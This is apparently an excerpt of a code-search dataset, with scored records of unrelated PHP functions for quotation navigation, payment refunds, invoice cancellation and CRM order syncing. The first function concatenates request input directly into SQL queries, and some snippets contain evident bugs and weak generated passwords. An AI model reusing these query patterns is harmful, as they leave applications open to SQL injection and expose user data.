"text": "public function getPreviousNextData($headerData)\n\t{\n\t\t//database selection\n\t\t$database = \"\";\n\t\t$constantDatabase = new ConstantClass();\n\t\t$databaseName = $constantDatabase->constantDatabase();\n\t\t\n\t\t// get exception message\n\t\t$exception = new ExceptionMessage();\n\t\t$exceptionArray = $exception->messageArrays();\n\t\tif(array_key_exists('previousquotationid',$headerData))\n\t\t{\n\t\t\tif($headerData['previousquotationid'][0]==0)\n\t\t\t{\n\t\t\t\tDB::beginTransaction();\n\t\t\t\t$raw = DB::connection($databaseName)->select(\"select \n\t\t\t\tquotation_bill_id,\n\t\t\t\tproduct_array,\n\t\t\t\tquotation_number,\n\t\t\t\ttotal,\n\t\t\t\ttotal_discounttype,\n\t\t\t\ttotal_discount,\n\t\t\t\textra_charge,\n\t\t\t\ttax,\n\t\t\t\tgrand_total,\n\t\t\t\tremark,\n\t\t\t\tentry_date,\n\t\t\t\tclient_id,\n\t\t\t\tcompany_id,\n\t\t\t\tjf_id,\n\t\t\t\tcreated_at,\n\t\t\t\tupdated_at\t \n\t\t\t\tfrom quotation_bill_dtl \n\t\t\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\t\t\tdeleted_at='0000-00-00 00:00:00'\n\t\t\t\torder by quotation_bill_id desc limit 1\");\n\t\t\t\tDB::commit();\n\t\t\t\tif(count($raw)==0)\n\t\t\t\t{\n\t\t\t\t\treturn $exceptionArray['204'];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$quotationDataResult = $this->getDocumentData($raw);\n\t\t\t\t\treturn $quotationDataResult;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$quotationId = $headerData['previousquotationid'][0]-1;\n\t\t\t\t$result = $this->getQuotationPreviousNextData($headerData,$quotationId);\n\t\t\t\tif(count($result)==0)\n\t\t\t\t{\n\t\t\t\t\tDB::beginTransaction();\n\t\t\t\t\t$previousAscId = DB::connection($databaseName)->select(\"select \n\t\t\t\t\tquotation_bill_id\n\t\t\t\t\tfrom quotation_bill_dtl \n\t\t\t\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\t\t\t\tdeleted_at='0000-00-00 00:00:00'\n\t\t\t\t\torder by quotation_bill_id asc limit 1\");\n\t\t\t\t\tDB::commit();\n\t\t\t\t\tif($quotationId<$previousAscId[0]->quotation_bill_id)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn $exceptionArray['204'];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tfor($arrayData=$quotationId-1;$arrayData>=$previousAscId[0]->sale_id;$arrayData--)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$innerResult = $this->getQuotationPreviousNextData($headerData,$arrayData);\n\t\t\t\t\t\t\tif(count($innerResult)!=0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif($arrayData==$previousAscId[0]->sale_id && count($innerResult)==0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn $exceptionArray['204'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$quotationId++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$quotationDataResult = $this->getDocumentData($innerResult);\n\t\t\t\t\t\treturn $quotationDataResult;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$quotationDataResult = $this->getDocumentData($result);\n\t\t\t\t\treturn $quotationDataResult;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if(array_key_exists('nextquotationid',$headerData))\n\t\t{\n\t\t\t$quotationId = $headerData['nextquotationid'][0]+1;\n\t\t\t$result = $this->getQuotationPreviousNextData($headerData,$quotationId);\n\t\t\tif(count($result)==0)\n\t\t\t{\n\t\t\t\tDB::beginTransaction();\n\t\t\t\t$nextDescId = DB::connection($databaseName)->select(\"select \n\t\t\t\tquotation_bill_id\n\t\t\t\tfrom quotation_bill_dtl \n\t\t\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\t\t\tdeleted_at='0000-00-00 00:00:00' \n\t\t\t\torder by quotation_bill_id desc limit 1\");\n\t\t\t\tDB::commit();\n\t\t\t\tif($quotationId>$nextDescId[0]->quotation_bill_id)\n\t\t\t\t{\n\t\t\t\t\treturn $exceptionArray['204'];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfor($arrayData=$quotationId+1;$arrayData<=$nextDescId[0]->quotation_bill_id;$arrayData++)\n\t\t\t\t\t{\n\t\t\t\t\t\t$innerResult = $this->getQuotationPreviousNextData($headerData,$arrayData);\n\t\t\t\t\t\tif(count($innerResult)!=0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($arrayData==$nextDescId[0]->quotation_bill_id && count($innerResult)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn $exceptionArray['204'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$quotationId++;\n\t\t\t\t\t}\n\t\t\t\t\t$quotationDataResult = $this->getDocumentData($innerResult);\n\t\t\t\t\treturn $quotationDataResult;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$quotationDataResult = $this->getDocumentData($result);\n\t\t\t\treturn $quotationDataResult;\n\t\t\t}\n\t\t}\n\t\telse if(array_key_exists('operation',$headerData))\n\t\t{\n\t\t\tif(strcmp($headerData['operation'][0],'first')==0)\n\t\t\t{\n\t\t\t\tDB::beginTransaction();\n\t\t\t\t$fistQuotationDataResult = DB::connection($databaseName)->select(\"select \n\t\t\t\tquotation_bill_id,\n\t\t\t\tproduct_array,\n\t\t\t\tquotation_number,\n\t\t\t\ttotal,\n\t\t\t\ttotal_discounttype,\n\t\t\t\ttotal_discount,\n\t\t\t\textra_charge,\n\t\t\t\ttax,\n\t\t\t\tgrand_total,\n\t\t\t\tremark,\n\t\t\t\tentry_date,\n\t\t\t\tclient_id,\n\t\t\t\tcompany_id,\n\t\t\t\tjf_id,\n\t\t\t\tcreated_at,\n\t\t\t\tupdated_at\t \n\t\t\t\tfrom quotation_bill_dtl \n\t\t\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\t\t\tdeleted_at='0000-00-00 00:00:00' order by quotation_bill_id asc limit 1\");\n\t\t\t\tDB::commit();\n\t\t\t\t\n\t\t\t\t$quotationDataResult = $this->getDocumentData($fistQuotationDataResult);\n\t\t\t\treturn $quotationDataResult;\n\t\t\t}\n\t\t\telse if(strcmp($headerData['operation'][0],'last')==0)\n\t\t\t{\n\t\t\t\tDB::beginTransaction();\n\t\t\t\t$lastQuotationDataResult = DB::connection($databaseName)->select(\"select \n\t\t\t\tquotation_bill_id,\n\t\t\t\tproduct_array,\n\t\t\t\tquotation_number,\n\t\t\t\ttotal,\n\t\t\t\ttotal_discounttype,\n\t\t\t\ttotal_discount,\n\t\t\t\textra_charge,\n\t\t\t\ttax,\n\t\t\t\tgrand_total,\n\t\t\t\tremark,\n\t\t\t\tentry_date,\n\t\t\t\tclient_id,\n\t\t\t\tcompany_id,\n\t\t\t\tjf_id,\n\t\t\t\tcreated_at,\n\t\t\t\tupdated_at \n\t\t\t\tfrom quotation_bill_dtl \n\t\t\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\t\t\tdeleted_at='0000-00-00 00:00:00' order by quotation_bill_id desc limit 1\");\n\t\t\t\tDB::commit();\n\t\t\t\t\n\t\t\t\t$quotationDataResult = $this->getDocumentData($lastQuotationDataResult);\n\t\t\t\treturn $quotationDataResult;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "438b8d48b088e0c25149ae35e960c9ba", "score": "0.52708507", "text": "function history() {\n return parent::history()->alsoTrackFields(array('company_id'));\n }", "title": "" }, { "docid": "2b5780069cd030c59c32e84cc3140e7b", "score": "0.52672243", "text": "public function undo()\r\n {\r\n $transaction = array_pop($this->_transactions);\r\n\r\n $request = new Zend_Service_RememberTheMilk_Request();\r\n $request->setMethod('rtm.transactions.undo');\r\n $request->addParameter('transaction_id', $transaction);\r\n $this->_request($request);\r\n }", "title": "" }, { "docid": "21ed7df87a3fcc387b4658850e670e41", "score": "0.52498585", "text": "function refundTransaction($reqMsgDTO)\r\n {\r\n\t\t\r\n\t\t\tif($reqMsgDTO->getAddField10()==\"\" ){\r\n\t\t\t\t$reqMsgDTO->setAddField10(\"NA\");\r\n\t\t\t}\r\n\t\t \r\n\t\t\tif($reqMsgDTO->getAddField9()==\"\" ){\r\n\t\t\t\t$reqMsgDTO->getAddField9(\"NA\");\r\n\t\t\t}\r\n\r\n $resMsgDTO = new ResMsgDTO();\r\n\t\t\t$httpPost = new HTTPPost();\r\n\t\t\t\t\t\t\r\n try\r\n {\r\n if ($reqMsgDTO->getMid()==\"\"\r\n || $reqMsgDTO->getOrderId()==\"\"\r\n || $reqMsgDTO->getPgMeTrnRefNo()==\"\" \r\n || $reqMsgDTO->getEnckey()==\"\"\r\n\t\t\t\t|| $reqMsgDTO->getRefundAmt()==\"\")\r\n {\r\n \r\n\t\t\t\t\t$resMsgDTO->setStatusCode(\"F\");\r\n\t\t\t\t\t$resMsgDTO->setStatusDesc(\"Mandatory fields are missing.\");\r\n\t\t\t\t\treturn $resMsgDTO;\r\n }\r\n \r\n\t\t\t$ini_array = parse_ini_file(\"ClientAPI.ini\");\r\n\r\n\t $qpURL=$ini_array['REFUND_TRANS_API'];\r\n\t\t\t \r\n\t\t\t$merchantReqStr= $reqMsgDTO->getMid().\"|\". $reqMsgDTO->getOrderId() .\"|\". $reqMsgDTO->getPgMeTrnRefNo()\r\n\t\t\t.\"|\".$reqMsgDTO->getRefundAmt().\"|\". $reqMsgDTO->getAddField1() \r\n\t\t\t.\"|\".$reqMsgDTO->getAddField2().\"|\". $reqMsgDTO->getAddField3() .\"|\". $reqMsgDTO->getAddField4()\r\n\t\t\t.\"|\".$reqMsgDTO->getAddField5().\"|\". $reqMsgDTO->getAddField6() .\"|\". $reqMsgDTO->getAddField7()\r\n\t\t\t.\"|\".$reqMsgDTO->getAddField8().\"|\". $reqMsgDTO->getAddField9() .\"|\". $reqMsgDTO->getAddField10();\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t$vtransactSecurity = new VtransactSecurity();\r\n\t\t $enc_data=$vtransactSecurity->encryptValue($merchantReqStr,$reqMsgDTO->getEnckey());\t\r\n\t\t\t\t\r\n\t\t \t\r\n\t\t\t\r\n\t\t\t$urlParameters=\"merchantReqStrT=\".$enc_data.\"&MID=\".$reqMsgDTO->getMid();\r\n\t \r\n\t\t\t$enc_data=$httpPost ->excutePost($qpURL,$urlParameters);\r\n\t\t\t\r\n\t\t//\t$enc_data=$httpPost ->excutePost($qpURL,$urlParameters);\r\n\t\t\t\r\n\t\t\t$dec_data=$vtransactSecurity -> decryptValue($enc_data,$reqMsgDTO->getEnckey()); \t\t\t\t\r\n \r\n\t\t\t$strings=explode(\"|\",$dec_data);\r\n\t\t\tif(!empty($strings)&& sizeof($strings)!= 16)\r\n\t {\r\n\t\t\t $resMsgDTO->setStatusCode(\"F\");\r\n\t\t\t\t\t$resMsgDTO->setStatusDesc(\"Number of fields not matching.\");\t\t\t \r\n return $resMsgDTO;\r\n\t\t\t \r\n\t\t\t \r\n\t\t\t \r\n\t\t\t} \r\n\t\t\t\r\n\t\t\t$resMsgDTO->setPgMeTrnRefNo($strings[0]); // PGTRNREFNO\r\n\t\t\t$resMsgDTO->setOrderId($strings[1]); // ORDERID\r\n\t\t\t$resMsgDTO->setPgRefCancelReqId($strings[2]);\r\n\t\t\t$resMsgDTO->setRefundAmt($strings[3]);\r\n\t\t\t$resMsgDTO->setStatusCode($strings[4]);\r\n\t\t\t$resMsgDTO->setStatusDesc($strings[5]);\r\n\t\t\t$resMsgDTO->setAddField1($strings[6]);\r\n\t\t\t$resMsgDTO->setAddField2($strings[7]);\r\n\t\t\t$resMsgDTO->setAddField3($strings[8]);\r\n\t\t\t$resMsgDTO->setAddField4($strings[9]);\r\n\t\t\t$resMsgDTO->setAddField5($strings[10]);\r\n\t\t\t$resMsgDTO->setAddField6($strings[11]);\r\n\t\t\t$resMsgDTO->setAddField7($strings[12]);\r\n\t\t\t$resMsgDTO->setAddField8($strings[13]);\r\n\t\t\t$resMsgDTO->setAddField9($strings[14]);\r\n\t\t\t$resMsgDTO->setAddField10($strings[15]); \r\n }\r\n catch (Exception $ex)\r\n {\r\n throw new Exception($ex->getMessage());\r\n }\r\n return $resMsgDTO;\r\n }", "title": "" }, { "docid": "2aa214e125c7c7e73399a6f7a84591ad", "score": "0.5248384", "text": "public function cancelInvoice() \n {\n /*\n //get all invoice payments\n List<AccountingLib.Models.payment> payments = this.getAllPayments();\n\n //cancel payments one by one\n foreach (var item in payments)\n { \n if(item.paymentTypeID==(int)enums.paymentType.Internal)\n cancelInvoicePaymentINTERNAL(item.ID);\n if(item.paymentTypeID==(int)enums.paymentType.External)\n cancelInvoicePaymentEXT(item.ID);\n }\n\n //Cancel invoice\n this.loadInvoiceByInvoiceID(invoiceID);\n \n //Get Sum of Invoice Services added\n decimal invoiceServicesAmt = this.getInvoiceServicesSumAmt();\n\n //Record related transctions\n List<AccountingLib.Models.transaction> transactions = new List<transaction>();\n var trans1 = Transaction.createNew((int)this.receiverEntityID, (int)LibCategories.AP, +1 * (decimal)invoiceServicesAmt, (int)this.currencyID);\n transactions.Add(trans1);\n var trans2 = Transaction.createNew((int)this.issuerEntityID, (int)AssetCategories.AR, -1 * (decimal)invoiceServicesAmt, (int)this.currencyID);\n transactions.Add(trans2);\n\n //Record Invoice Transaction\n this.RecordInvoiceTransaction(transactions, enums.invoiceStat.Cancelled);\n */\n }", "title": "" }, { "docid": "d5b14d6bb6eeb0bc5ff6a3068516bd89", "score": "0.5239411", "text": "public function getPreviousTransaction()\n {\n return $this->previous_transaction;\n }", "title": "" }, { "docid": "11356292ee23e3cecedaec51f4ae5568", "score": "0.5219388", "text": "public function fetchPreviousNextSituationInvoice()\n\t{\n\t\tglobal $conf;\n\n\t\t$this->tab_previous_situation_invoice = array();\n\t\t$this->tab_next_situation_invoice = array();\n\n\t\t$sql = 'SELECT rowid, situation_counter FROM '.MAIN_DB_PREFIX.'facture WHERE rowid <> '.$this->id.' AND entity = '.$conf->entity.' AND situation_cycle_ref = '.(int) $this->situation_cycle_ref.' ORDER BY situation_counter ASC';\n\n\t\tdol_syslog(get_class($this).'::fetchPreviousNextSituationInvoice ', LOG_DEBUG);\n\t\t$result = $this->db->query($sql);\n\t\tif ($result && $this->db->num_rows($result) > 0)\n\t\t{\n\t\t\twhile ($objp = $this->db->fetch_object($result))\n\t\t\t{\n\t\t\t\t$invoice = new Facture($this->db);\n\t\t\t\tif ($invoice->fetch($objp->rowid) > 0)\n\t\t\t\t{\n\t\t\t\t if ($objp->situation_counter < $this->situation_counter\n\t\t\t\t || ($objp->situation_counter == $this->situation_counter && $objp->rowid < $this->id) // This case appear when there are credit notes\n\t\t\t\t )\n\t\t\t\t\t{\n\t\t\t\t\t $this->tab_previous_situation_invoice[] = $invoice;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t $this->tab_next_situation_invoice[] = $invoice;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "43f4b70ed03804b7a0ffe97bc30b5f0a", "score": "0.51760954", "text": "public function previousStepAction()\n\t{\n \t$context = Context::getCurrent();\n \t$year = $this->params()->fromQuery('year', date('Y'));\n\t\t\ttry {\n\t\t\t$connection = Journal::getTable()->getAdapter()->getDriver()->getConnection();\n\t\t\t$connection->beginTransaction();\n\t \tif (Journal::undoLastStep($year) != 'OK') throw new \\Exception('View error');\n\t\t\t$connection->commit();\n\t\t\t$message = 'OK';\n\t\t}\n\t\tcatch (Exception $e) {\n\t\t\t$connection->rollback();\n\t\t\tthrow $e;\n\t\t}\n\t\treturn $this->response;\n\t}", "title": "" }, { "docid": "e53a20184cbb2bff70558ce70548d56c", "score": "0.5165893", "text": "function refund() {\n $object = bitPoints_Refund((int)$_SESSION['customer_id'], $_POST['amount'], \"Redemption refund for order #1434453\");\n updateCustomer($object);\n}", "title": "" }, { "docid": "c53b23a79ace57157fc3cda1dad1b979", "score": "0.5146357", "text": "public static function orderHistory() {\n global $USER;\n if (is_object($USER) == false) {\n $USER = new RetailUser;\n }\n\n if (!CModule::IncludeModule(\"iblock\")) {\n self::eventLog('ICrmOrderActions::orderHistory', 'iblock', 'module not found');\n return false;\n }\n if (!CModule::IncludeModule(\"sale\")) {\n self::eventLog('ICrmOrderActions::orderHistory', 'sale', 'module not found');\n return false;\n }\n if (!CModule::IncludeModule(\"catalog\")) {\n self::eventLog('ICrmOrderActions::orderHistory', 'catalog', 'module not found');\n return false;\n }\n\n $api_host = COption::GetOptionString(self::$MODULE_ID, self::$CRM_API_HOST_OPTION, 0);\n $api_key = COption::GetOptionString(self::$MODULE_ID, self::$CRM_API_KEY_OPTION, 0);\n\n $optionsOrderTypes = array_flip(unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_ORDER_TYPES_ARR, 0)));\n $optionsDelivTypes = array_flip(unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_DELIVERY_TYPES_ARR, 0)));\n $optionsPayTypes = array_flip(unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_PAYMENT_TYPES, 0)));\n $optionsPayStatuses = array_flip(unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_PAYMENT_STATUSES, 0))); // --statuses\n $optionsPayment = array_flip(unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_PAYMENT, 0)));\n $optionsOrderProps = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_ORDER_PROPS, 0));\n $optionsLegalDetails = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_LEGAL_DETAILS, 0));\n $optionsContragentType = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_CONTRAGENT_TYPE, 0));\n $optionsSitesList = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_SITES_LIST, 0));\n $optionsCustomFields = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_CUSTOM_FIELDS, 0));\n\n foreach ($optionsOrderProps as $code => $value) {\n if (isset($optionsLegalDetails[$code])) {\n $optionsOrderProps[$code] = array_merge($optionsOrderProps[$code], $optionsLegalDetails[$code]);\n }\n if (isset($optionsCustomFields[$code])) {\n $optionsOrderProps[$code] = array_merge($optionsOrderProps[$code], $optionsCustomFields[$code]);\n }\n $optionsOrderProps[$code]['location'] = 'LOCATION';\n if (array_search('CITY', $optionsOrderProps[$code]) == false) {\n $optionsOrderProps[$code]['city'] = 'CITY';\n }\n if (array_search('ZIP', $optionsOrderProps[$code]) == false) {\n $optionsOrderProps[$code]['index'] = 'ZIP';\n }\n }\n\n $api = new RetailCrm\\RestApi($api_host, $api_key);\n\n $dateStart = COption::GetOptionString(self::$MODULE_ID, self::$CRM_ORDER_HISTORY_DATE, null);\n\n if (is_null($dateStart)) {\n $dateStart = new \\DateTime();\n $dateStart = $dateStart->format('Y-m-d H:i:s');\n }\n\n try {\n $orderHistory = $api->orderHistory($dateStart);\n } catch (\\RetailCrm\\Exception\\CurlException $e) {\n self::eventLog(\n 'ICrmOrderActions::orderHistory', 'RetailCrm\\RestApi::orderHistory::CurlException',\n $e->getCode() . ': ' . $e->getMessage()\n );\n\n return false;\n }\n\n $orderHistory = isset($orderHistory['orders']) ? $orderHistory['orders'] : array();\n \n $log = new Logger();\n $log->write($orderHistory, 'history');\n \n $dateFinish = $api->getGeneratedAt();\n if (is_null($dateFinish) || $dateFinish == false) {\n $dateFinish = new \\DateTime();\n }\n\n $defaultOrderType = 1;\n $dbOrderTypesList = CSalePersonType::GetList(array(), array(\"ACTIVE\" => \"Y\"));\n if ($arOrderTypesList = $dbOrderTypesList->Fetch()) {\n $defaultOrderType = $arOrderTypesList['ID'];\n }\n\n $GLOBALS['INTARO_CRM_FROM_HISTORY'] = true;\n\n foreach ($orderHistory as $order) {\n if (function_exists('intarocrm_order_pre_persist')) {\n $order = intarocrm_order_pre_persist($order);\n }\n\n if (!isset($order['externalId'])) {\n\n // custom orderType function\n if (function_exists('intarocrm_set_order_type')) {\n $orderType = intarocrm_set_order_type($order);\n if ($orderType) {\n $optionsOrderTypes[$order['orderType']] = $orderType;\n } else {\n $optionsOrderTypes[$order['orderType']] = $defaultOrderType;\n }\n }\n\n // we dont need new orders without any customers (can check only for externalId)\n if (!isset($order['customer']['externalId'])) {\n if (!isset($order['customer']['id'])) {\n continue;\n }\n\n $registerNewUser = true;\n\n if (!isset($order['customer']['email']) || $order['customer']['email'] == '') {\n $login = $order['customer']['email'] = uniqid('user_' . time()) . '@crm.com';\n } else {\n $dbUser = CUser::GetList(($by = 'ID'), ($sort = 'ASC'), array('=EMAIL' => $order['email']));\n switch ($dbUser->SelectedRowsCount()) {\n case 0:\n $login = $order['customer']['email'];\n break;\n case 1:\n $arUser = $dbUser->Fetch();\n $registeredUserID = $arUser['ID'];\n $registerNewUser = false;\n break;\n default:\n $login = uniqid('user_' . time()) . '@crm.com';\n break;\n }\n }\n\n if ($registerNewUser === true) {\n $userPassword = uniqid();\n\n $newUser = new CUser;\n $arFields = array(\n \"NAME\" => self::fromJSON($order['customer']['firstName']),\n \"LAST_NAME\" => self::fromJSON($order['customer']['lastName']),\n \"EMAIL\" => $order['customer']['email'],\n \"LOGIN\" => $login,\n \"LID\" => \"ru\",\n \"ACTIVE\" => \"Y\",\n \"PASSWORD\" => $userPassword,\n \"CONFIRM_PASSWORD\" => $userPassword\n );\n $registeredUserID = $newUser->Add($arFields);\n if ($registeredUserID === false) {\n self::eventLog('ICrmOrderActions::orderHistory', 'CUser::Register', 'Error register user');\n continue;\n }\n\n try {\n $api->customerFixExternalIds(array(array('id' => $order['customer']['id'], 'externalId' => $registeredUserID)));\n } catch (\\RetailCrm\\Exception\\CurlException $e) {\n self::eventLog(\n 'ICrmOrderActions::orderHistory', 'RetailCrm\\RestApi::customerFixExternalIds::CurlException',\n $e->getCode() . ': ' . $e->getMessage()\n );\n\n continue;\n }\n }\n\n $order['customer']['externalId'] = $registeredUserID;\n }\n\n // new order\n $newOrderFields = array(\n 'LID' => CSite::GetDefSite(),\n 'PERSON_TYPE_ID' => isset($optionsOrderTypes[$order['orderType']]) ? $optionsOrderTypes[$order['orderType']] : $defaultOrderType,\n 'PAYED' => 'N',\n 'CANCELED' => 'N',\n 'STATUS_ID' => 'N',\n 'PRICE' => 0,\n 'CURRENCY' => CCurrency::GetBaseCurrency(),\n 'USER_ID' => $order['customer']['externalId'],\n 'PAY_SYSTEM_ID' => 0,\n 'PRICE_DELIVERY' => 0,\n 'DELIVERY_ID' => 0,\n 'DISCOUNT_VALUE' => 0,\n 'USER_DESCRIPTION' => ''\n );\n\n if(count($optionsSitesList) > 1 && $lid = array_search($order['site'], $optionsSitesList)){\n $newOrderFields['LID'] = $lid;\n }\n\n $externalId = CSaleOrder::Add($newOrderFields);\n\n if (!isset($order['externalId'])) {\n try {\n $api->orderFixExternalIds(array(array('id' => $order['id'], 'externalId' => $externalId)));\n } catch (\\RetailCrm\\Exception\\CurlException $e) {\n self::eventLog(\n 'ICrmOrderActions::orderHistory', 'RetailCrm\\RestApi::orderFixExternalIds::CurlException',\n $e->getCode() . ': ' . $e->getMessage()\n );\n\n continue;\n }\n }\n $order['externalId'] = $externalId;\n }\n\n if (isset($order['externalId']) && $order['externalId']) {\n\n // custom orderType function\n if (function_exists('intarocrm_set_order_type')) {\n $orderType = intarocrm_set_order_type($order);\n if ($orderType) {\n $optionsOrderTypes[$order['orderType']] = $orderType;\n } else {\n $optionsOrderTypes[$order['orderType']] = $defaultOrderType;\n }\n }\n\n $arFields = CSaleOrder::GetById($order['externalId']);\n\n // incorrect order\n if ($arFields === false || empty($arFields)) {\n continue;\n }\n\n $LID = $arFields['LID'];\n $userId = $arFields['USER_ID'];\n\n if(isset($order['customer']['externalId']) && !is_null($order['customer']['externalId'])) {\n $userId = $order['customer']['externalId'];\n }\n\n $rsOrderProps = CSaleOrderPropsValue::GetList(array(), array('ORDER_ID' => $arFields['ID']));\n $arUpdateProps = array();\n while ($ar = $rsOrderProps->Fetch()) {\n $prop = CSaleOrderProps::GetByID($ar['ORDER_PROPS_ID']);\n $arUpdateProps[ $ar['CODE'] ] = array('ID' => $ar['ID'], 'TYPE' => $prop['TYPE'], 'VALUE' => $ar['VALUE']);\n }\n\n $order['fio'] = trim(\n implode(\n ' ',\n array(\n isset($order['lastName']) ? $order['lastName'] : '',\n isset($order['firstName']) ? $order['firstName'] : '',\n isset($order['patronymic']) ? $order['patronymic'] : '',\n )\n )\n );\n\n if (isset($order['delivery']['address']['city'])) {\n $order['location'] = $order['delivery']['address']['city'];\n }\n\n if (isset($order['orderType']) && isset($optionsOrderTypes[ $order['orderType'] ])) {\n if (isset($optionsOrderProps[$arFields['PERSON_TYPE_ID']])) {\n foreach ($optionsOrderProps[$arFields['PERSON_TYPE_ID']] as $code => $value) {\n if (in_array($code, array_keys($order)) === false && isset($optionsOrderProps[$optionsOrderTypes[$order['orderType']]][$code])) {\n $order[ $code ] = $arUpdateProps[$optionsOrderProps[$arFields['PERSON_TYPE_ID']][$code]]['VALUE'];\n }\n }\n }\n\n //update ordertype\n CSaleOrder::Update($order['externalId'], array('PERSON_TYPE_ID' => $optionsOrderTypes[ $order['orderType'] ]));\n\n $arProp = CSaleOrderProps::GetList(array(), array('PERSON_TYPE_ID' => $optionsOrderTypes[ $order['orderType'] ]));\n $typeParam = array();\n while ($ar = $arProp->Fetch()) {\n $typeParam[ $ar['CODE'] ] = $ar['CODE'];\n }\n foreach (array_diff_key($arUpdateProps, $typeParam) as $code => $param) {\n if (isset($arUpdateProps[$code])) {\n CSaleOrderPropsValue::Delete($param['ID']);\n }\n }\n $arFields['PERSON_TYPE_ID'] = $optionsOrderTypes[ $order['orderType'] ];\n }\n\n array_walk_recursive(\n self::clearArr($order),\n 'self::recursiveUpdate',\n array(\n 'update' => $arUpdateProps,\n 'type' => $arFields['PERSON_TYPE_ID'],\n 'options' => $optionsOrderProps,\n 'orderId' => $order['externalId']\n )\n );\n\n foreach($order['items'] as $item) {\n if(isset($item['deleted']) && $item['deleted']) {\n if ($p = CSaleBasket::GetList(array(), array('ORDER_ID' => $order['externalId'], 'PRODUCT_ID' => $item['id']))->Fetch()) {\n if(!CSaleBasket::Delete($p['ID'])){\n self::eventLog('ICrmOrderActions::orderHistory', 'CSaleBasket::Delete', 'Error element delete');\n }\n }\n else{\n $prp = CSaleBasket::GetPropsList(array(), array(\"ORDER_ID\" => $order['externalId'], \"CODE\" => 'ID', \"VALUE\" => $item['id']))->Fetch();\n if(!CSaleBasket::Delete($prp['BASKET_ID'])){\n self::eventLog('ICrmOrderActions::orderHistory', 'CSaleBasket::Delete', 'Error castom element delete');\n }\n }\n \n continue;\n }\n \n if (isset($item['offer']) === false && isset($item['offer']['externalId']) === false) {\n continue;\n }\n \n $res = CIBlockElement::GetByID($item['offer']['externalId'])->Fetch(); \n\n if($res){\n $p = CSaleBasket::GetList(array(),array('ORDER_ID' => $order['externalId'], 'PRODUCT_ID' => $item['offer']['externalId']))->Fetch();\n\n if ($p == false) {\n $p = CIBlockElement::GetByID($item['offer']['externalId'])->GetNext();\n $iblock = CIBlock::GetByID($p['IBLOCK_ID'])->Fetch();\n $p['CATALOG_XML_ID'] = $iblock['XML_ID'];\n $p['PRODUCT_XML_ID'] = $p['XML_ID'];\n unset($p['XML_ID']); \n } elseif ($propResult = CSaleBasket::GetPropsList(array(''),array('BASKET_ID' => $p['ID']))) {\n while ($r = $propResult->Fetch()) {\n unset($r['ID']);\n unset($r['BASKET_ID']);\n $p['PROPS'][] = $r;\n }\n }\n \n $arProduct = array();\n\n if (isset($item['created']) && $item['created'] == true) {\n $productPrice = GetCatalogProductPrice($item['offer']['externalId'], COption::GetOptionString(self::$MODULE_ID, self::$CRM_CATALOG_BASE_PRICE, 0));\n $arProduct = array(\n 'FUSER_ID' => $userId,\n 'ORDER_ID' => $order['externalId'],\n 'QUANTITY' => $item['quantity'],\n 'CURRENCY' => $productPrice['CURRENCY'],\n 'LID' => $LID,\n 'PRODUCT_ID' => $item['offer']['externalId'],\n 'PRODUCT_PRICE_ID' => $p['PRODUCT_PRICE_ID'],\n 'WEIGHT' => $p['WEIGHT'],\n 'DELAY' => $p['DELAY'],\n 'CAN_BUY' => $p['CAN_BUY'],\n 'MODULE' => $p['MODULE'],\n 'NOTES' => $item['comment'] ?: $p['NOTES'],\n 'PRODUCT_PROVIDER_CLASS' => $p['PRODUCT_PROVIDER_CLASS'],\n 'DETAIL_PAGE_URL' => $p['DETAIL_PAGE_URL'],\n 'CATALOG_XML_ID' => $p['CATALOG_XML_ID'],\n 'PRODUCT_XML_ID' => $p['PRODUCT_XML_ID'],\n 'CUSTOM_PRICE' => 'Y'\n );\n }\n \n if (isset($item['isCanceled']) == false) {\n if (isset($item['initialPrice']) && $item['initialPrice']) {\n $arProduct['PRICE'] = (double) $item['initialPrice'];\n }\n if (isset($item['discount'])) {\n $arProduct['DISCOUNT_PRICE'] = $item['discount'];\n }\n if (isset($item['discountPercent'])) {\n $arProduct['DISCOUNT_VALUE'] = $item['discountPercent'];\n $newPrice = round($arProduct['PRICE'] / 100 * (100 - $arProduct['DISCOUNT_VALUE']), 2);\n 